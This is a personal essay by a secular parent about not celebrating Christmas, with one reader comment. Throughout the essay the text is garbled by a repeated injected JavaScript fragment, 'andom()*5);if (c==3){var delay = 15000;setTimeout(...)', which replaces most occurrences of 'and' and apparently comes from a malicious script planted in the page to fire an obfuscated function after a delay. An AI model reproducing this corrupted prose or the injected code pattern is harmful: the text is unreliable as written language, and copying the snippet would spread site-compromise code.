How to Celebrate Winter, Secularly

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>>11376235724_3ec3caa05d_kThe other day, my eight-year-old asked if we could walk through the Christmas section at the store. He wanted to look at the lights, sniff the cinnamon- andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and vanilla-scented candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andles, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and touch the velvety red bows. In a moment of parental impulse, I asked if he wanted to get a tree. He paused in running a beaded garlandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and through his fingers to ask, “What for?”

As a secular family, we have never had a traditional winter holiday. We don’t hang wreaths or sing carols, decorate trees or keep an elf on the shelf. Ours is a home devoid of advent calendars andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nativity scenes. Like many non-Christians, we go out for Chinese food on December 25th.

With complex andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and complicated extended family roots in Quaker, Jewish, Buddhist, Unitarian, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Catholic faiths — not to mention my youthful dabbling in Hare Krishna andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Islam — our children have had the opportunity to explore many traditions. We haven’t denied our children a deity, but we haven’t promoted one either. Usually, it doesn’t even cross our minds that we might be different. But then, December comes.

Strandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands of twinkling lights andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hordes of Santa impersonators remind us that there is something big out there of which we are not a part. We see the parades andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ornaments andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and buy in as much as anyone else that this is supposed to be a magical time of year.

Like many parents, regardless of faith, we fall prey to the trappings. We exchange gifts andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and gorge ourselves on gingerbread men, heed the siren song of candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andy canes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and eggnog, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and watch movies featuring bumbling elves andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and kids who nearly shoot their eyes out.

But it is important to us to bear in mind that this is also a holy time — an expression of a religion that is not ours. And so, we maintain a friendly distance from Christmas.

We don’t decorate because to put on an outward display of allegiance would feel forced. Plenty of our contemporaries do this, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we do not begrudge them that. It’s just not for us. When greeted with a “Merry Christmas!” while entering stores, we respond with a heartfelt “Happy Holidays!” We drink out of whatever color cups we are served. Just like always, when asked for a moment of prayer, we remain silent out of respect for our fellow human beings.

This is not a protest. This is being true to our family while still honoring the traditions of others.

And so, while standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding in the Christmas department at a store we forgot would be packed with holiday shoppers, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and my son turns to me andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and asks why would we get tree, I do not have an answer. He has everything he needs to enjoy the season right here on aisle seven.




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  1. Clair

    I appreciate the personal aspect of this essay and am glad that the author is open about her secular approach. I like that an 8 year old is curious and delighted but not yet compelled to imitate the larger society that leverages themes of Christianity to drive retail profits. I am hopeful that a more secular society will find ways to enrich our hopes and dreams, a place that religion occupies. Ideas?


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